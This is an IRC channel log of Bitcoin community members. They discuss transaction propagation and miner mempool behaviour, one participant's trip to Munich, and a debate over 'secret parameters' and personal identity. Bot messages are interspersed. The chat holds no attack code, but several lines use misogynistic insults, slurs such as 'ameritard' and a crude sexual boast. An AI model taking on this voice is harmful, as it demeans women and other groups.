1906662;1554316325;diana_coman;asciilifeform: from what I understood though, spyked said he could not see his transaction relayed even
1906663;1554319427;asciilifeform;diana_coman: fwiw i virtually never saw any of mine on bci & similar heathen www, until mined
1906664;1554319434;asciilifeform;at least in past coupla yr
1906665;1554319570;asciilifeform;diana_coman: must admit, currently i have massive hole of mystery where 'how and where does trb tx propagage' oughta be. is why last autumn i sat down & wrote (most of) a fairly gnarly proggy to try & map out node zoology & mempool dynamics. but sadly on hold presently, not enuff hands
1906666;1554319621;asciilifeform;guten abend , mp_en_viaje
1906667;1554319632;mp_en_viaje;hai thar!
1906668;1554319704;asciilifeform;*propagate
1906669;1554319922;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906614 << actually, it was a morongarten.
1906670;1554319922;a111;Logged on 2019-04-03 06:36 diana_coman: ersten und originalen Stammtisch - at least it's at a biergarten I hope
1906671;1554319924;diana_coman;myeah, it could do with a whole lot less mystery
1906672;1554319958;*;asciilifeform always pictured 'biergarten' as a kindergarten w/ beer
1906673;1554319960;diana_coman;ahahha mp_en_viaje that was rather to be expected given the ersten und originalen und-only-talkin' www
1906674;1554319976;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906623 << i fucking bet.
1906675;1554319976;a111;Logged on 2019-04-03 08:43 spyked: upstack, re. tx propagation voodoo: the good part about this is that it got me into reading trb code and logs re bitcoin and trb. will be back to feedbotworks, but I'll say, this has been instructive
1906676;1554319979;diana_coman;asciilifeform: well, munchen is bavaria is lederhosen
1906677;1554319987;diana_coman;so it makes sense
1906678;1554320019;mp_en_viaje;diana_coman, very fucking to be expected indeed. the problem is still, almost a decade later, that bitcoin "enthusiasm" is pretty much code for "we'll shock you with how inept we are".
1906679;1554320035;*;asciilifeform pictures mp_en_viaje posting from the pub pictured in '17 moments of spring', complete with the oddball jukebox
1906680;1554320080;diana_coman;that being said, I actually had a nice time at various biergartens fwiw - obv, with people "brought from home" as it were so I don't know it had much to do with the *garten itself
1906681;1554320106;mp_en_viaje;in this particular case, they picked a place on fucking bavariaring. how shall i explain what this is... basically every real town has a spot of land kept fallow on purpose to do things like i dunno, let a passin circus pitch tents there, right ? or whatever other large but dirty activity like that, yes.
1906682;1554320141;mp_en_viaje;in real civilised places, that community acre is more like a few sqmiles, and they are surrounded by road. in munchen, road is called bavariaring.
1906683;1554320173;mp_en_viaje;ie, the circular connector to frankfurt is frankfurtring, and so this being also a ring but not really connecting to a town... they gave it god's name as it were.
1906684;1554320192;asciilifeform;mp_en_viaje: in 'red' usa (virginia & south-er) they have these, it's where the people with carpets fulla 2ndhand guns set up coupla-x/yr
1906685;1554320192;diana_coman;ahahah, centuristi!!
1906686;1554320195;mp_en_viaje;somewhere on an off road from THIS place, they had thei meeting spot.
1906687;1554320223;mp_en_viaje;and people working at #10 theresinhohe had NEVER HEARD of the public house supposedly located at #15.
1906688;1554320239;mp_en_viaje;if i set out to find "mom's garage, seattle" i'd be in ~same position.
1906689;1554320249;mp_en_viaje;diana_coman, exact centuristi.
1906690;1554320305;mp_en_viaje;diana_coman, went then to boozy brunch at lowenbrau keller (big deal landmark here).
1906691;1554320328;asciilifeform;diana_coman, spyked : at this pt , 5 yrs in, i'm satisfied that i understand how ~trb~ pushes tx; problem lies in the zoo of ??? 'nodes', what do ~they~ do with it.
1906692;1554320332;mp_en_viaje;the food was ok, but the service kinda meh. i dunno, they have a problem here it seems with not hirin genough waiters.
1906693;1554320344;*;diana_coman now admits she has purposefully kept away from Munchen for quite a few years now in order to not spoil earlier pleasant recollections of it...
1906694;1554320351;mp_en_viaje;heh
1906695;1554320459;*;asciilifeform brb:meat
1906696;1554320463;mp_en_viaje;but anyway, what the fuck is wrong with picking the prestige coffee house of the town for your bitcoin meet ?
1906697;1554320477;diana_coman;I suspect they ...don't have money to meet there ?
1906698;1554320494;mp_en_viaje;oh, right, i tell you what! THERE IS NO SUCH THING!
1906699;1554320516;mp_en_viaje;i marched the girls for ~4 hours through historic downtown, tryina find one. found none.
1906700;1554320539;mp_en_viaje;got motorized, drove >100 mi to find one, going by list of historic big deal whatever in special printed, inch thick bookler.
1906701;1554320542;mp_en_viaje;found none.
1906702;1554320561;mp_en_viaje;fucktards here, their coffee houses, in the rare instances they have seating, have fucking wood benches and stools and shit.
1906703;1554320609;diana_coman;uhm, wtf did they do with what they had ...more than 10 years ago though
1906704;1554320613;mp_en_viaje;i have nfi how this works, i NEVER saw a car here with wooden bench inside and fuck you. they understand what chairs are, every bank, every god damned nothing-in-particular shop has proper chairs in there. they have furniture shops selling actual chairs.
1906705;1554320638;mp_en_viaje;but in a coffeehouse it's apparently reglement verboten to have a chair with a back higher than your hips, or padded.
1906706;1554320640;mp_en_viaje;fucktards.
1906707;1554320702;mp_en_viaje;ended up going to hang out in my hotel lounge, in part precipitated by cabdriver declaring nec plus ultram in coffeehouse luxury the... lounge of another, cheaper hotel.
1906708;1554320728;diana_coman;ahahaha
1906709;1554320732;mp_en_viaje;which yes, being furnished from the hotel-magazine, as opposed to the apparent coffeehouse-verboenbuche, contains sane human seating.
1906710;1554320744;mp_en_viaje;verbotenbuche*
1906711;1554321490;diana_coman;tbf cafes for me -> Austria rather than Germany (which esp Bavaria -> biergarten -and that comes with annoying sitting, yes-  what cafe)
1906712;1554321504;mp_en_viaje;yeah, or berlin or prague etc.
1906713;1554321525;mp_en_viaje;i'm not bemoaning my fate or anything, jus' sayin; for the records.
1906714;1554321598;mp_en_viaje;but yes that was the explanatory theory we came up with, since they socialize over beer it then therefore follows they don't socialize over coffee and that's an end to it. could for the same money complain there's no teahouse with proper samovar in zanzibar.
1906715;1554321631;diana_coman;pretty much, yes
1906716;1554321637;mp_en_viaje;it's just fucking weird, to not do it AT ALL. i mean cosmopolitan literally means, "which includes alt-stream competence"
1906717;1554321663;diana_coman;hm, bavarians are cosmopolitan now?
1906718;1554321681;mp_en_viaje;i'm not saying they all have to participate or any insane shit like that. but if they can have 500 hypovereisbank offices, they could have ONE coffee house. for those incomprehensible weirdos who go there, what of it.
1906719;1554321699;mp_en_viaje;diana_coman, well munchen whatever. i dunno, i guss maybe not.
1906720;1554321710;diana_coman;being weirdos they are foreigners therefore hotel therefore -> lounge. :D
1906721;1554321716;mp_en_viaje;evidently.
1906722;1554321723;mp_en_viaje;very deutsch solutionvonproblem
1906723;1554321758;mp_en_viaje;anyway, server girly was very interested from the margins of the going ons on the harem table.
1906724;1554322101;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906632 << i have no confidence in tghe truetype/whatevr "standards", a lot of actual experience with both empire and alt-empire standards guts has cured me for three lifetimes.
1906725;1554322101;a111;Logged on 2019-04-03 15:05 asciilifeform: http://btcbase.org/log/2019-04-03#1906605 << i entirely agree that reading human text in typewriter chars is painful. gotta point out tho , that 'truetype' monstrosity is not justified thereby, it is possible to have horizontally-variable bitmap font (simply store the # of horiz. pixels as matrix , for 'kerning' space , and otherwise same )
1906726;1554322223;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906624 << because cemented in "standard practices" because it has to be because for political reasons had to pretend it was at some point because etcetera. ~same reason basketball players wear wifebeater-cut tops and soccer players wear t-shirt tops. could very well be backwards, but isn't because etcetera.
1906727;1554322223;a111;Logged on 2019-04-03 14:54 asciilifeform: http://btcbase.org/log/2019-04-03#1906616 << this is a well-known effect ( most famously, possibly involved in how 'bitbet' burned down ) and i've personally observed it erry single time i sent coin in past coupla yrs . tx dun move until you send a conflicting tx . why the miners do this -- i still do not know
1906728;1554322299;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906628 << think : if this worked you;d know because conflicting tx would be 9000% of the mempool, because chinese fatty dun need you for anything, casn produce conflicts by his self.
1906729;1554322299;a111;Logged on 2019-04-03 14:58 asciilifeform: so far the closest thing i have to a hypothesis, is that the fattest chinese want you to issue a set of conflicting tx so the thinner ones end up with longer invalidated chains
1906730;1554322502;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906637 << another shining success by usg.blue, those bright chaps whose disdain at http://btcbase.org/log/2014-05-04#659152 is so very withering, as it comes from such higi loci of intellectual superiority and cultural overwhelm.
1906731;1554322502;a111;Logged on 2019-04-03 15:33 BingoBoingo: http://btcbase.org/log/2019-04-03#1906599 << Indeed. Can't even get Maduro to arrest him. China's got their Army Liberation People on the ground and in uniform handing out aid.
1906732;1554322502;a111;Logged on 2014-05-04 19:03 ozbot: White House Correspondents' Dinner 2014 -- Live Blog
1906733;1554322515;mp_en_viaje;</end sarcasm>
1906734;1554322840;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906640 << there is almost no case where mining n tx is better than mining n+1. some miners do multi-hashing, where they mine different blocks (generally, off-by-one tx blocks) on varios chunks of their farms (mostly because of naive chinese-like notions re chance), but this is not that.
1906735;1554322840;a111;Logged on 2019-04-03 17:13 asciilifeform: http://btcbase.org/log/2019-04-03#1906628 << to expand on this: say you issued tx1 where input i and output o1. he sees it, it goes to back of queue, as uninteresting, he does not mine it himself, but does relay to competitors. but if you also issue a and tx2, where input i and output o2, o2 != o1 , ~then~ tx2 goes to front of his queue, as by mining it he can throw caltrop to the competing miners , invalidating their chain
1906736;1554322990;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906661 << i do not believe so ; not in the sense he does not do a  lot.
1906737;1554322990;a111;Logged on 2019-04-03 17:39 asciilifeform: i'd be quite curious to hear what trinque says about all of this; i expect today he does the most on-chain work of anyone here
1906738;1554323035;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906663 << i see ~daily. incl today, bchain.info had within second o frelay.
1906739;1554323035;a111;Logged on 2019-04-03 19:23 asciilifeform: diana_coman: fwiw i virtually never saw any of mine on bci & similar heathen www, until mined
1906740;1554323951;asciilifeform;http://btcbase.org/log/2019-04-03#1906734 << notion wasn't that parellel-mine of n, but that 'feed old tx1 to peers, while mine new tx2 that conflicts so to hose'em'
1906741;1554323951;a111;Logged on 2019-04-03 20:20 mp_en_viaje: http://btcbase.org/log/2019-04-03#1906640 << there is almost no case where mining n tx is better than mining n+1. some miners do multi-hashing, where they mine different blocks (generally, off-by-one tx blocks) on varios chunks of their farms (mostly because of naive chinese-like notions re chance), but this is not that.
1906742;1554323987;asciilifeform;http://btcbase.org/log/2019-04-03#1906728 << see downthread -- it is entirely possible that they ~are~ (and indeed 'dun need you, he can make own', was noted in thrd)
1906743;1554323987;a111;Logged on 2019-04-03 20:11 mp_en_viaje: http://btcbase.org/log/2019-04-03#1906628 << think : if this worked you;d know because conflicting tx would be 9000% of the mempool, because chinese fatty dun need you for anything, casn produce conflicts by his self.
1906744;1554324055;asciilifeform;also gotta note, i did not posit that it 'works' (in the sense of 'they make bank'), only that 'they think it worx' ( a la spam )
1906745;1554324071;asciilifeform;a good % of what those folx do, i suspect can only be explained via 'spam logic'
1906746;1554324079;asciilifeform;( if even that )
1906747;1554324101;mp_en_viaje;it is very difficult to maintain mempool secrets from well conencted nodes.
1906748;1554324123;asciilifeform;depends what means 'well connected'
1906749;1554324126;mp_en_viaje;obv works on yokels, but ultimately extracting ~all tx of which any node ever talked t o another node is trivial.
1906750;1554324129;mp_en_viaje;well this also.
1906751;1554324133;asciilifeform;i.e. if you have moles in the closed miner wot nets -- then elementarily
1906752;1554324134;asciilifeform;if not..
1906753;1554324139;mp_en_viaje;yes well.
1906754;1554324187;mp_en_viaje;there is tension in this question -- inasmuch as declaring your computer TWO computers arbitrarily, and then discussing the safety of the talk over this imaginary boundry is a purely abstract exerise.
1906755;1554324198;mp_en_viaje;ie, what "well connected" means is limited by what "two" means.
1906756;1554324222;asciilifeform;was aboutta add -- from pov of external observer (i.e. has no moles) a 'miner cartelnet' will simply look like 'miner with n public intakes'
1906757;1554324228;mp_en_viaje;yup
1906758;1554324328;mp_en_viaje;and you know, corp with three shareholders  still corp anyway. and so on.
1906759;1554324334;asciilifeform;the 'who lives at what ip' is entirely red herring, only the actual 'smoke from the fire' is at all informative, re heuristic 'who is miner' -- who seems to show up with new blox before others ? who takes shortest interval b/w getting a tx and it ends in a block ? etc
1906760;1554324363;mp_en_viaje;yeah.
1906761;1554324368;asciilifeform;even then, entirely possible for even modestly clever operator to insert artificial delays, to confuse the probe
1906762;1554324375;mp_en_viaje;indeed.
1906763;1554324389;mp_en_viaje;though the problem with C is that it dun survive derivation well,
1906764;1554324402;asciilifeform;which c
1906765;1554324442;mp_en_viaje;C. "i am safe from missile strike, my cellphone inserts rnd(0,C) error re position on each call"
1906766;1554324450;asciilifeform;aa elementarily
1906767;1554324452;mp_en_viaje;"are you stationary ?" "yes" "boom"
1906768;1554324457;asciilifeform;( recall the 'time padding' thrd ! )
1906769;1554324459;mp_en_viaje;quite.
1906770;1554324485;mp_en_viaje;you know, x^2 + C. that c.
1906771;1554324512;mp_en_viaje;(i guess they don't use the same convention in us f, analysis)
1906772;1554324525;asciilifeform;still remains the case that good % of what is typically thought of as the protocol, is actually promise ( i.e. it is trivial for a constructed noad to feed 'allcomers' 1 mempool, with stale shit, while he himself mines from entirely other set, that he dun relay to anyone , etc )
1906773;1554324554;asciilifeform;mp_en_viaje: same convention. i was parsing 'c' as positional 'a, b, c'
1906774;1554324565;mp_en_viaje;a a
1906775;1554324594;mp_en_viaje; but yes. lotta what is protocol is promise. starting with "segwit" bs, i won't unearth the threads.
1906776;1554324613;asciilifeform;that 1 , i dun even think about much, given trb dun suffer from it
1906777;1554324627;asciilifeform;was speaking strictly of the trad protocol/promise cocktail
1906778;1554324630;mp_en_viaje;but it's indicative of "state of barbarian isle"
1906779;1554324654;asciilifeform;for all i know, the heathens have moved 100% to hearn's 'pay to ip via ssl' or similar horror
1906780;1554324891;mp_en_viaje;and i don't mean JUST bitcoin. think of the problem in terms of http://btcbase.org/log/2019-03-31#1906304 : fetlife hires engineer to add "impossible to guess" parameters to its laughingstock of a codebase. mp is unincluded in the
1906781;1554324891;a111;Logged on 2019-03-31 16:59 mircea_popescu: how else could ps code be had ?
1906782;1554324913;mp_en_viaje;"impossible to guess" set, becayhse guess what, through repetition and measurement ANY parameter comes out.
1906783;1554324982;mp_en_viaje;this obvious property of numbers & reality, properly baring anyone from passing out of math 101 until comprehended, nevertheless escapes all sorta ceo and other business strategists.
1906784;1554324994;asciilifeform;given miners cannot 'eat entirely from own arse' and still eat tx from 'allcomer', it aint possible to maintain 'entirely logically isolated' seekrit-btc net vs 'allcomer net', verily
1906785;1554324996;asciilifeform;so yes will leak
1906786;1554325000;mp_en_viaje;ask any dood you feel like, see if he believes that "secret parameters" are a thing or not.
1906787;1554325032;asciilifeform;grr forgot comma in above, hopefully still parses
1906788;1554325035;mp_en_viaje;this goes quite deep in its import : the outlook of contemporary man is actually very deeply ANTIscientific.
1906789;1554325057;mp_en_viaje;not merely un, but outright anti. firmly believes by necessary implication that science is not actually possible in any practical sense.
1906790;1554325088;asciilifeform;mp_en_viaje: not only this, but the disease progresses , afaik, in direct proportion to how much exposure to programming
1906791;1554325109;asciilifeform;( hence wai http://btcbase.org/log/2019-03-12#1901576 )
1906792;1554325109;a111;Logged on 2019-03-12 22:09 asciilifeform: i think aristotle actually had , sadly, correct notion, where doing some kinds of work actually makes you dumber
1906793;1554325111;mp_en_viaje;or to women in theworkplace, or to earth science, or to "futurism", or to wikipedia, or to etcetera.
1906794;1554325141;asciilifeform;it is the programmers, i suspect, and not even the earthfeminists, who are at the forefront of 'climbing back into the trees' in this sense
1906795;1554325169;asciilifeform;!#s sussman
1906796;1554325169;a111;67 results for "sussman", http://btcbase.org/log-search?q=sussman
1906797;1554325170;mp_en_viaje;it is problem of chthonic culture, so yes it just re-infects itself. the disease of contemporaneity expellas furcam etc.
1906798;1554325190;mp_en_viaje;asciilifeform, could well be. unlike the programmers, the incamother worshippers ~mean well~.
1906799;1554325191;asciilifeform;the one where http://btcbase.org/log/2014-09-27#846760 .
1906800;1554325191;a111;Logged on 2014-09-27 03:19 asciilifeform: 'You have to do basic science on your libraries to see how they work, trying out different inputs and seeing how the code reacts.'
1906801;1554325211;asciilifeform;the programmers actually built themselves a parallel world where 'science dunwork' , and moved in.
1906802;1554325224;asciilifeform;voluntarily. which is the mindboggler.
1906803;1554325224;mp_en_viaje;(the fundamental difference between dumb cunt and dumb dicklet is that former wants "things to be good for everyone" whereas latter wants "her to have to")
1906804;1554325316;asciilifeform;typical homo programmicus living today, i suspect, will live & die without ever encountering a 1980s-style sys where 'understand from first principles' even conceptually seems like a possibility
1906805;1554325370;mp_en_viaje;seems entirely plausible.
1906806;1554325388;asciilifeform;multi-mil loc. piles o'shit (and not even speaking of ~closes~ multi-mil loc, microshit etc.) go together with 'program via voodoo' like africa goes with dysentry
1906807;1554325392;asciilifeform;*closed
1906808;1554325495;mp_en_viaje;and i suspect they all rest on fundamental goanga whereby "but muh sikrit parameters"
1906809;1554325532;mp_en_viaje;if you examine the matter with the tools of the psychologist, you might discover contemporary notion of ~personal identity~ in anglo world actually consists of little else.
1906810;1554325607;asciilifeform;i dun even have sharp enuff drill to get a picture where they ~have~ a 'notion of personal identity'
1906811;1554325610;asciilifeform;all i got is naggum's http://www.loper-os.org/?p=165#selection-507.293-507.989
1906812;1554325621;mp_en_viaje;this, incidentally, is EXACTLY what patents and copyrights were supposed to solve, and were sold on the promise of solving : the moron 1700s "engineer" dropping his "signature secret sauce" in processes. so as to thereby exist.
1906813;1554325643;mp_en_viaje;here we are in 2000, still with the exact same problem, just as unsolved.
1906814;1554325704;Mocky;only now the signature secret sauce is yellow, ala: http://btcbase.org/log/2018-06-19#1826821
1906815;1554325704;a111;Logged on 2018-06-19 16:35 asciilifeform: 'erryone hates it, all the lifts smell of piss. oh btw, where is the lift here, i gotta go'
1906816;1554325707;asciilifeform;imho patents were a joke from day1, what with 'exam takers' immediately finessing the problem of 'reveal enuff to win if litigated, but not enuff to build clone'
1906817;1554325740;mp_en_viaje;asciilifeform, yes, it failed on application, sure. but infinitely worse -- it even failed in principle!
1906818;1554325806;mp_en_viaje;difference between "engine that could work if built, but can't be built until liquid plutonium available by the pondful" and "engine that is based on thermodynamic non-cycle".
1906819;1554325822;mp_en_viaje;Mocky, how dja mean ?
1906820;1554325903;asciilifeform;entirely so, fails in principle, like proggy that needs a 2 that also equals 1 sometimes
1906821;1554325905;mp_en_viaje;asciilifeform, isn't that quite the mental image btw ? a plutonium lake.
1906822;1554325921;*;asciilifeform brb:tea
1906823;1554326011;Mocky;mp_en_viaje: programmers notional personal identity seems to sum to pissing code into github
1906824;1554326019;mp_en_viaje;ah lol
1906825;1554326082;mp_en_viaje;my point was that the contemporary notion of personal identity is actually predicated on a supposed set of secret parameters, something much akin to having it predicated on spherical cubes, or alf's 2's that are also somtimes 1s.
1906826;1554326177;mp_en_viaje;there can't be, you see, such a thing as a secret parameter. and this applies equally well to the "bombing stationary object" problem touched above, and to the "i will make website ban so and so after so and so" anti-mp historical fetlifish computer "engineering", and to the romcom notion of "deeply personal experience" and so following.
1906827;1554326236;mp_en_viaje;the "secret mempool", the "claiming saddam has things he doesn't will forward our goals", it's an endless list. remarkably enough, it's a COMPLETE list of contemporary thought.
1906828;1554326259;mp_en_viaje;ie, just did above what flaubert died trying : produced exhaustive catalog of contemporary stupidity. go me!
1906829;1554326269;Mocky;but how do the secret parameters apply to personal identity?
1906830;1554326291;mp_en_viaje;Mocky, let's work it this way : give me an example of secret parameter.
1906831;1554326357;Mocky;well example of something that can't exist?
1906832;1554326388;mp_en_viaje;i say it can't exist, you wish to see why not. i'm allowed to ask for it no ?
1906833;1554326436;Mocky;ok, a tx characteristic upon which a miner decides not to mine said tx
1906834;1554326449;mp_en_viaje;cool. now, what's your definition of "parameter" ?
1906835;1554326523;Mocky;well there's an entity or process that exists that can be parameterized, and so some attribute or input that process
1906836;1554326593;mp_en_viaje;this is admirably circular. but let's let it lay as it fell for now, and instead look from the other end : give me an example of something some chick would regard as permitting you to distinguish her from any other.
1906837;1554326643;Mocky;proficiency at shining my boots
1906838;1554326702;mp_en_viaje;that'll pass. now, i propose to you that this is a parameter in the first place, in that it consists of a matter of degrees, however combined. it's entirely quantitative, there's no qualitative portion to it. and it is secret, because her belief is that another wouldn't know which valus the parameter takes, nothing else.
1906839;1554326707;mp_en_viaje;this pass from your side ?
1906840;1554326763;Mocky;ok, yes
1906841;1554326770;mp_en_viaje;now permti me to extend your model.
1906842;1554326813;mp_en_viaje;so today, i took elevator in neue rathaus (it's a thing in munchen, irrelevant specifically). this involved paying a fee. the man i paid it to made change from 52 for 12 by handing me a 20 euro and a 100 euro bill.
1906843;1554326838;mp_en_viaje;i said i don't think so, and held them out for his inspection. he thanked me for my kindnss, i explained it's not so much kindness as duty, and we parted amicably.
1906844;1554326984;mp_en_viaje;there is a ~reason~ that google's (and, by proxy, senior brin's son's son's) genius notion of "intelligence" is ~VERY LARGE~ (if sparse) matrix of values while usg.polizeistaat's notion of "knowledge" is... ~very large~ (if sparse) matris of values (describing eg phone metadata)  WHILE AT THE SAME TIME all the people involved, in either of those, and all the people the yever know or will know, firmly believe that ~my true personality~ is not in f
1906845;1554326984;mp_en_viaje;act that little story i described (because "anyone could have done that") but rather the incidental ~exact number~ representin my height, or the ~exact numeric value~ of what i said in private sometime, or (as per anglo-bank logic) the string that's my mother's maiden name
1906846;1554327010;mp_en_viaje;yet "those things anyone could do" are the only possible meaningful personality, specifically in that most ... do not fucking do them.
1906847;1554327037;mp_en_viaje;whereas "those things no one could know" are in fact so much wind chasing, because... well duh, ~of course they could~. self-evidently they could, how the fuck not.
1906848;1554327113;mp_en_viaje;the driver of the error is the desire of having a ~unique~ personality. it is not deemed sufficient, by contemporary man, to merely have the same personality as the entire tableau of orthodox saints. there's too many of those, see. gotta be unique. as it can't be unique and meaningful at te same time (think, can it ?)... all that's left is the getting-drunk-on-tapwater "secret parameters".
1906849;1554327304;Mocky;I see what you mean by the driver of the error, but I don't see how height, numeric value etc. have to do with personality.
1906850;1554327313;Mocky;I've got to step out for a bit now
1906851;1554327334;mp_en_viaje;only in that they are what the contemporaneous man believe it to be. but yes, we shall continue later.
1906852;1554327364;mp_en_viaje;feel free to resuscitate it by giving me example of notion of personality that's not homomorphism of height.
1906853;1554327404;mp_en_viaje;or w/e, fingerprints, whole list of these. bootshining.
1906854;1554335292;BingoBoingo;<mp_en_viaje> the driver of the error is the desire of having a ~unique~ personality. it is not deemed sufficient, by contemporary man, to merely have the same personality as the entire tableau of orthodox saints. there's too many of those, see. gotta be unique. as it can't be unique and meaningful at te same time (think, can it ?)... all that's left is the getting-drunk-on-tapwater "secret parameters". << On the USG side also likely
1906855;1554335292;BingoBoingo;driven by how easy it is for them to collect heights and other metrics at scale.
1906856;1554335357;asciilifeform;'unique personalities' i'ma leave to the gods. for man imho suffices to find coupla unique primes...
1906857;1554335677;asciilifeform;mp_en_viaje: re 'parameters', witness typical life cycle of ameritard. schoolboy -- glues rubbish to his knapsack, so to 'unique' . then inherits car, glues rubbish to bumper of car. then pupates and indentures into 'buying' house, glues rubbish to house. etc
1906858;1554335724;asciilifeform;not esp. diff. from certain birds which pick up 'unique' combo of rubbish to glue into nest.
1906859;1554335845;asciilifeform;the bird, tho, arguably comes closer to 'generating pubkey', at least he aint carefully trying to make his rubbish look entirely same as neighbour's
1906860;1554335954;asciilifeform;this sorta thing is why sergeant beats soldier/sailor for wearing his cap sideways or whatever other idjit attempts to 'unique'
1906861;1554336003;asciilifeform;in jp, schoolboys wear uniform, moar or less same one asciilifeform wore in orcistan. and there they try to 'unique' by gluing socks so they stick up instead of rolling. and they beat'em for it, as is proper.
1906862;1554336074;asciilifeform;if among'em 1 has 'enuff unique', he will not need to glue socks, but instead drive 4 feet of cock into teacher, a la mp_en_viaje , etc
1906863;1554336252;asciilifeform;the disease sequelae of 'illusion of unique' i'ma not replay, mp_en_viaje covered subj to death
1906864;1554336639;asciilifeform;fwiw i do find it interesting that when you offer to heathen 'cheap unique' -- to bake a pubkey -- or even to post under the fucking name his progenitors gave him -- typical specimen runs screaming
1906865;1554336814;asciilifeform;the deadsouls, i suspect, know what they are, and dun particularly relish having mirror held up to their snouts
1906866;1554336909;asciilifeform;https://archive.is/3BzWj << oblig oldlit.
1906867;1554337943;asciilifeform;http://p.bvulpes.com/pastes/jbnUc/?raw=true << asciilifeform's attempt at loose transl.
1906868;1554338138;*;asciilifeform bbl, doin' entirely not-unique things
1906869;1554339805;trinque;http://btcbase.org/log/2019-04-03#1906621 << no need to redo. you can fire off as many of those as you like.
1906870;1554339805;a111;Logged on 2019-04-03 08:41 spyked: !Qlater tell trinque could pl0x look at deedbot deposits when you get the time? fyi, I started two !!deposit and only did the latter; can cancel the former, I'll redo it later if needed
1906871;1554339805;lobbesbot;trinque: Sent 16 hours and 22 minutes ago: <spyked> could pl0x look at deedbot deposits when you get the time? fyi, I started two !!deposit and only did the latter; can cancel the former, I'll redo it later if needed
1906872;1554345233;mod6;Good Evening TMSR~ : Here's The Bitcoin Foundation's State of Bitcoin Address for March http://therealbitcoin.org/ml/btc-dev/2019-April/000327.html
1906873;1554349798;mp_en_viaje;in other keks, it's fucking hysterical just how disruptive danielpbarron actually is.
1906874;1554349849;mp_en_viaje;http://archive.is/aQ3mE#selection-489.2-489.112 aka "our '''philosophy of religion''' is in fact a church (so as to avoid '''biases''' such as for instance it being a church. therefore, please quote only from our bible."
1906875;1554349956;mp_en_viaje;romanian word is "adiata", as in "si-or facut adiata". from greek "dieta", final dispositions.
1906876;1554349990;mp_en_viaje;in alf's terms, isn't even need of mp personally to hold mirror before snouts, mirror works by itself whoever holds it.
1906877;1554350274;mp_en_viaje;danielpbarron, why is your selection broken anyway ?
1906878;1554350483;mp_en_viaje;http://btcbase.org/log/2019-04-03#1906858 << quite exactly so ; hence http://trilema.com/2010/in-criza-de-modele/#selection-93.353-97.74
1906879;1554350483;a111;Logged on 2019-04-03 23:55 asciilifeform: not esp. diff. from certain birds which pick up 'unique' combo of rubbish to glue into nest.
1906880;1554351612;mp_en_viaje;meanwhile in unelated lulz : the p farnese, long time seat of french embassy in rome, was actually given to the french for 99 years. in 1936. "infinity" coming to an end soonish.
1906881;1554359020;danielpbarron;http://btcbase.org/log/2019-04-04#1906877 << i don't have selection installed. I add custom id tags when i want to link to a specific thing in my articles
1906882;1554359020;a111;Logged on 2019-04-04 03:57 mp_en_viaje: danielpbarron, why is your selection broken anyway ?
1906883;1554369147;spyked;http://btcbase.org/log/2019-04-04#1906869 <-- tyvm trinque!
1906884;1554369147;a111;Logged on 2019-04-04 01:03 trinque: http://btcbase.org/log/2019-04-03#1906621 << no need to redo. you can fire off as many of those as you like.
1906885;1554369303;spyked;!!v 8B124F25CF6AE63691F0C5320210A99C8F22188A3788FD5808940B19ADD470EC
1906886;1554369312;deedbot;spyked paid asciilifeform invoice 1
1906887;1554377452;mp_en_viaje;in other news, fermented milk fucking sucks here.
1906888;1554377473;*;mp_en_viaje bought like half dozen different things, buttermilk this, yogurt that, holy shit undrinkable swill all of it. 
1906889;1554377483;mp_en_viaje;i want my goat milk kefir ;/
1906890;1554377655;mp_en_viaje;http://btcbase.org/log/2019-04-04#1906867 << this is actually quite excellent.
1906891;1554377655;a111;Logged on 2019-04-04 00:32 asciilifeform: http://p.bvulpes.com/pastes/jbnUc/?raw=true << asciilifeform's attempt at loose transl.
1906892;1554377660;mp_en_viaje;alf shows promise as poet!
1906893;1554379329;diana_coman;asciilifeform: why though not post it on your blog really? can be with title and half a page explanations as to how it's not-the-real-think-just-yet but still there
1906894;1554379464;diana_coman;re relish or not I quite suspect many would be way happier if they didn't "have to unique"
1906895;1554398440;BingoBoingo;Now, how well do the krauts ferment their relishes
1906896;1554402514;diana_coman;BingoBoingo: ahahah, delish relish krauts ferment
1906897;1554407983;feedbot;http://qntra.net/2019/04/46-pantsuitist-candidates-already-lined-up-for-presidential-primary-showdown/ << Qntra -- 46 Pantsuitist Candidates Already Lined Up For Presidential Primary Showdown
1906898;1554411525;feedbot;http://qntra.net/2019/04/bezos-deals-35-billion-usd-in-amazon-stock-to-wife-for-splitting/ << Qntra -- Bezos Deals: 35 Billion USD In Amazon Stock To Wife For Splitting
1906899;1554422813;BingoBoingo;!Xbuy 154mn 72 500 WFF, WU esta bien
1906900;1554422813;auctionbot;Buy order # 1046 created by BingoBoingo: 500 WFF, WU esta bien Opening: 154mn ecu Ending: 2019-04-07 12:12:39.925433 UTC (71 hours)
1906901;1554422841;BingoBoingo;^ Pizarro Price Setting Auction Live. Starting price same as last month's.
1906902;1554423382;mp_en_viaje;ahhh.
1906903;1554423511;BingoBoingo;How's the bread situation?
1906904;1554423562;mp_en_viaje;oh holy god, i have found the deli fucking mecca.
1906905;1554423604;mp_en_viaje;there's this snoot or sloot or w/e stand right between the green/red line interconnect in hauptbanhof (central station). these people...
1906906;1554423657;mp_en_viaje;i mean, their sandwiches use the same brie i use. they have pastrami with horseradish mustard i wouldn't be ashamed to offer to visiting lords at my own table. nothing's older than an hour maybe, the romaigne as crispy as if i just picked it myself
1906907;1554423693;mp_en_viaje;and the bread... the bread... i mean,  specialist slave, been making bread for years, this is better. FIRST TIME anything like this ever occured.
1906908;1554423725;mp_en_viaje;obviously they do it italian style, with mother dough, stone ovens, it is definitive and unmitigated perfection.
1906909;1554423797;mp_en_viaje;easily the best eats in all munchen are to be found at this humble deli stand in the subway ; and my remembered new york's delis would be pressed to compete.
1906910;1554423834;mp_en_viaje;just a buncha lebanese (i think) doods, with the dedication, permitting mediterranean tradition to finally meet frankish iron.
1906911;1554423841;mp_en_viaje;BingoBoingo, aren't you glad you asked ?
1906912;1554423859;BingoBoingo;I am very glad indeed
1906913;1554423870;mp_en_viaje;that stand is worth fucking driving here.
1906914;1554423934;BingoBoingo;So far it sounds like the migrants are beating the Germans at the civilization thing to get that sorta praise
